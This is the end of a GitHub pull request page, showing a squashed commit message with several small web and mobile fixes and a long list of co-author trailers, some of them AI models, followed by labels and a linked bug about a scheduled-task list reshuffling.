Co-authored-by: Vishal Doshi <vdoshi96@users.noreply.github.com>

* fix(mobile): preserve new-thread drafts and native header layout (pingdotgg#23366)

* feat: ChatGPT Business usage limits offer a copyable admin request (pingdotgg#23361)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): paused sidebar videos stop reloading after every command (pingdotgg#23106)

Co-authored-by: PR Batch Tester <agent@local.test>
Co-authored-by: Nikita Maximilian Grimm <github@nikitagrimm.de>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): repository task options follow the traits picker's prompt-free props

Upstream pingdotgg#23040 replaced the picker's prompt and onPromptChange props with
promptUltrathink and onPromptEdit. Adapt the Sigma repository task form.

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01JAJVo222ttQk6CfvMgLkBW

---------

Co-authored-by: Theo Browne <me@t3.gg>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Julius Marminge <julius0216@outlook.com>
Co-authored-by: Dara Adedeji <76637177+SunkenInTime@users.noreply.github.com>
Co-authored-by: sheehanmunim <80079528+sheehanmunim@users.noreply.github.com>
Co-authored-by: Robert Soriano <sorianorobertc@gmail.com>
Co-authored-by: MarMarLabs <marmar9615@icloud.com>
Co-authored-by: Koushik_xd <122906171+koushikxd@users.noreply.github.com>
Co-authored-by: Taissa <202353633+tlconde@users.noreply.github.com>
Co-authored-by: flamboh <oliver.boorstein@gmail.com>
Co-authored-by: Gourav Kumar Dhiman <gkrdhiman@gmail.com>
Co-authored-by: ScottN-PV <snorteman@gmail.com>
Co-authored-by: fixfon <12512757+fixfon@users.noreply.github.com>
Co-authored-by: Victor Vogel <satsdev@only21mil.xyz>
Co-authored-by: tatsuaki watanabe <tatsuaki.w@gmail.com>
Co-authored-by: Shubh <shubh@shubhxho.com>
Co-authored-by: grey-tsosie <45133231+grey-tsosie@users.noreply.github.com>
Co-authored-by: Rodrigo Brechard <rodrigo@clubtidy.fr>
Co-authored-by: 1kuna <47035140+1kuna@users.noreply.github.com>
Co-authored-by: MarcoDotIO <Marcus.Arnett10@gmail.com>
Co-authored-by: Tristan Knight <admin@snappeh.com>
Co-authored-by: GPT-6.1 Sol <noreply@openai.com>
Co-authored-by: Etan Heyman <93338119+EtanHey@users.noreply.github.com>
Co-authored-by: maco <gosarmarcel7@gmail.com>
Co-authored-by: macodev00 <macodev00@users.noreply.github.com>
Co-authored-by: M4NU5 <31220123+M4NU5@users.noreply.github.com>
Co-authored-by: Louis Gollut <louis.gollut@proton.me>
Co-authored-by: Pavel Kroupa <63880977+Tabonx@users.noreply.github.com>
Co-authored-by: AKolenda <akole779@mtroyal.ca>
Co-authored-by: Lev Poznyakov <62802017+levochkaa@users.noreply.github.com>
Co-authored-by: Yash Singh <saiansh2525@gmail.com>
Co-authored-by: Alex <me@pixp.cc>
Co-authored-by: maria <maria@kuuro.net>
Co-authored-by: يزن حمزه <yznhamzeh@gmail.com>
Co-authored-by: shivam <91240327+shivamhwp@users.noreply.github.com>
Co-authored-by: Vishal <vishalprashantdoshi@gmail.com>
Co-authored-by: PR Batch Tester <agent@local.test>
Co-authored-by: Vishal Doshi <vdoshi96@users.noreply.github.com>
Co-authored-by: Nikita Maximilian Grimm <github@nikitagrimm.de>
Co-authored-by: Dmytro Renkas <25162167+drenkas@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

size:XS 0-9 changed lines (additions + deletions). vouch:trusted PR author is trusted by repo permissions or the VOUCHED list.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[Bug]: Toggling a scheduled task shuffles task list and swaps rows under cursor

2 participants